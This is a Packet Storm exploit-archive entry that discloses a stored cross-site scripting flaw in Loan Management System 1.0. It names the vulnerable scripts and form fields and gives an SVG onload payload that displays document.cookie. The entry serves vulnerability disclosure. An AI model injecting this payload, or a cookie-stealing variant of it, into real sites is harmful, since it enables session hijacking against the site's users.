Loan Management System 1.0 Cross Site Scripting ≈ Packet Storm

Home^[1] Files^[2] News^[3] &[SERVICES_TAB] Contact^[4] Add New^[5]

Change Mirror^[11] Download^[12]

        # Exploit Title: Loan Management System - Stored XSS on several parameters
# Date: 28/07/2022
# Exploit Author: saitamang
# Vendor Homepage: sourcecodester
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL
There are several functions and parameter affected as below:
addUser.php
- firstname
- lastname
save_ltype.php
- ltype_name
- ltype_desc
save_borrower.php
- firstname
- middlename
- lastname
- address
The payload use to inject is "/><svg/onload=alert(document.cookie)>

• Follow us on Twitter^[15]
• Subscribe to an RSS Feed^[16]

File Tags

• ActiveX^[17] (932)
• Advisory^[18] (77,837)
• Arbitrary^[19] (15,168)
• BBS^[20] (2,859)
• Bypass^[21] (1,574)
• CGI^[22] (1,013)
• Code Execution^[23] (6,705)
• Conference^[24] (671)
• Cracker^[25] (797)
• CSRF^[26] (3,272)
• DoS^[27] (21,903)
• Encryption^[28] (2,335)
• Exploit^[29] (49,930)
• File Inclusion^[30] (4,148)
• File Upload^[31] (945)
• Firewall^[32] (821)
• Info Disclosure^[33] (2,551)
• Intrusion Detection^[34] (857)
• Java^[35] (2,807)
• JavaScript^[36] (800)
• Kernel^[37] (6,074)
• Local^[38] (14,028)
• Magazine^[39] (586)
• Overflow^[40] (12,226)
• Perl^[41] (1,412)
• PHP^[42] (5,049)
• Proof of Concept^[43] (2,283)
• Protocol^[44] (3,323)
• Python^[45] (1,404)
• Remote^[46] (29,753)
• Root^[47] (3,452)
• Ruby^[48] (577)
• Scanner^[49] (1,630)
• Security Tool^[50] (7,710)
• Shell^[51] (3,066)
• Shellcode^[52] (1,203)
• Sniffer^[53] (882)
• Spoof^[54] (2,089)
• SQL Injection^[55] (16,031)
• TCP^[56] (2,362)
• Trojan^[57] (676)
• UDP^[58] (866)
• Virus^[59] (660)
• Vulnerability^[60] (30,513)
• Web^[61] (9,056)
• Whitepaper^[62] (3,719)
• x86^[63] (943)
• XSS^[64] (17,349)
• Other^[65]

File Archives

• July 2022^[66]
• June 2022^[67]
• May 2022^[68]
• April 2022^[69]
• March 2022^[70]
• February 2022^[71]
• January 2022^[72]
• December 2021^[73]
• November 2021^[74]
• October 2021^[75]
• September 2021^[76]
• August 2021^[77]
• Older^[78]

Systems

• AIX^[79] (426)
• Apple^[80] (1,890)
• BSD^[81] (368)
• CentOS^[82] (55)
• Cisco^[83] (1,913)
• Debian^[84] (5,948)
• Fedora^[85] (1,690)
• FreeBSD^[86] (1,241)
• Gentoo^[87] (4,152)
• HPUX^[88] (878)
• iOS^[89] (319)
• iPhone^[90] (108)
• IRIX^[91] (220)
• Juniper^[92] (67)
• Linux^[93] (42,492)
• Mac OS X^[94] (683)
• Mandriva^[95] (3,105)
• NetBSD^[96] (255)
• OpenBSD^[97] (478)
• RedHat^[98] (11,765)
• Slackware^[99] (941)
• Solaris^[100] (1,607)
• SUSE^[101] (1,444)
• Ubuntu^[102] (7,903)
• UNIX^[103] (9,093)
• UnixWare^[104] (185)
• Windows^[105] (6,433)
• Other^[106]

© 2022 Packet Storm. All rights reserved.